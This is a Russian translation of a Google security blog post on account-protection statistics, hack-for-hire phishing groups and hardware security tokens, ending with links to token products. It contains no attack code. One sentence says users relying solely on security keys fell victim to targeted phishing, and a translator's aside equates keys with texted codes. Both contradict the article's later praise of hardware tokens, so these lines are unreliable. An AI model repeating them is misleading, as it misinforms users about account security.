  <p>Если у вас в учетной записи не настроен номер телефона, мы можем прибегнуть к более слабым методам защиты, основанным на знаниях о вас, таким как место вашего последнего входа в учетную запись. Это хорошо работает против ботов, но уровень защиты от фишинга может упасть до 10%, а от целевых атак защита практическ отсутствуют. Это происходит потому, что фишинговые страницы и злоумышленники при целевых атаках могут заставить вас раскрыть любую дополнительную информацию, которую может запросить Google для проверки.</p>
  <p>Учитывая преимущества подобной защиты, можно было бы спросить, почему мы не требуем использовать её для каждого входа в систему. Ответ заключается в том, что это создало бы дополнительные сложности для пользователей (<em>особенно для неподготовленных — прим. перев</em>.) и повысило бы риск блокировки учетной записи. В ходе эксперимента выяснилось, что 38% пользователей не имели доступа к своему телефону при входе в учетную запись. Еще 34% пользователей не смогли вспомнить свой дополнительный адрес электронной почты.</p>
  <p>Если вы потеряли доступ к своему телефону или не можете выполнить вход, вы всегда можете вернуться к доверенному устройству, с которого вы ранее входили, чтобы получить доступ к своей учетной записи.</p>
  <h3>Разбираемся в атаках «взломать по найму»</h3>
  <p>Там, где большинство автоматических средств защиты блокируют большинство ботов и фишинговых атак, более пагубными становятся целевые атаки. В рамках наших постоянных усилий по <a href="https://security.googleblog.com/2017/11/new-research-understanding-root-cause.html" target="_blank">мониторингу угроз взлома</a>, мы постоянно выявляем новые криминальные группы «взлома по найму», которые просят за взлом одного аккаунта за в среднем 750 долларов США. Эти злоумышленники часто полагаются на фишинговые электронные письма, которые выдают себя за членов семьи, коллег, правительственных чиновников или даже за Google. Если цель не сдается при первой попытке фишинга, последующие атаки продолжаются более месяца.</p>
  <p><em>Пример фишинг-атаки «человек посередине», которая проверяет правильность пароля в режиме реального времени. После этого на фишинговой странице предлагается жертвам ввести коды аутентификации SMS для доступа к учетной записи жертвы.</em></p>
  <p>По нашим оценкам, только один из миллиона пользователей подвергается столь высокому риску. Злоумышленники не нацелены на случайных людей. Хотя исследования показывают, что наша автоматическая защита может помочь задержать и даже предотвратить до 66% целевых атак, которые мы изучали, мы по-прежнему рекомендуем, чтобы пользователи с высоким уровнем риска регистрировались в нашей<a href="https://landing.google.com/advancedprotection/" target="_blank">программе дополнительной защиты</a>. Как было замечено во время нашего расследования, пользователи, которые используют исключительно ключи безопасности (<em>то есть — двухэтапную аутентификацию с помощью присылаемых пользователям кодов — прим. перев.</em>), стали жертвами целевого фишинга.</p>
  <h3>Потратьте немного времени, чтобы защитить свой аккаунт</h3>
  <p>Вы используете ремни безопасности для защиты жизни и здоровья во время поездок на автомобиле. И с помощью наших <a href="https://www.blog.google/technology/safety-security/five-things-you-can-do-right-now-to-stay-safer-online/" target="_blank">пяти советов</a>вы сможете обеспечить безопасность своего аккаунта.</p>
  <p>Как показывают наши исследования, одна из самых простых вещей, которые вы можете сделать для защиты своей учетной записи Google — это задать номер телефона. Для пользователей с высоким уровнем риска, таких как журналисты, общественные активисты, лидеры бизнеса и команды политических кампаний, наша программа <a href="https://landing.google.com/advancedprotection/" target="_blank">Advanced Protection</a>поможет обеспечить высочайший уровень безопасности. Вы также можете защитить свои учетные записи сторонних сервисов (не Google) от взломов паролей, установив расширение <a href="https://chrome.google.com/webstore/detail/password-checkup/pncabnpcffmalkkjpajodfhijclecjno" target="_blank">Chrome Password Checkup</a>.</p>
  <p>Интересно, что Google не следует тем советам, которые сам же даёт своим пользователям. <a href="https://www.schneier.com/blog/archives/2018/07/google_employee.html" target="_blank">Google использует аппаратные токены</a></p>
  <p>для двухфакторной аутентификации более чем 85 000 своих сотрудников. По сообщениям представителей корпорации с момента начала использования аппаратных токенов не было зафиксировано ни одной кражи учетной записи. Сравните с цифрами, представленными в этом отчете. Таким образом видно, что использование аппаратных</p>
  <p><strong>токенов </strong>для двухфакторной аутентификации<strong> единственный надежный способ защиты </strong>как учетных записей, так и информации (а в ряде случаев еще и денег).</p>
  <p>Для защиты учетных записей Google используются токены, созданные по стандарту FIDO U2F, например <a href="https://www.rutoken.ru/products/all/rutoken-u2f/" target="_blank">такой</a>. А для двухфакторной аутентификации в операционных системах Windows, Linux и MacOS используются <a href="https://www.rutoken.ru/products/all/rutoken-ecp-pki/" target="_blank">криптографические токены</a>.</p>
  <p>источник: habr.com</p>
  <h2>by @cyberlifes</h2>

]]></content:encoded></item></channel></rss>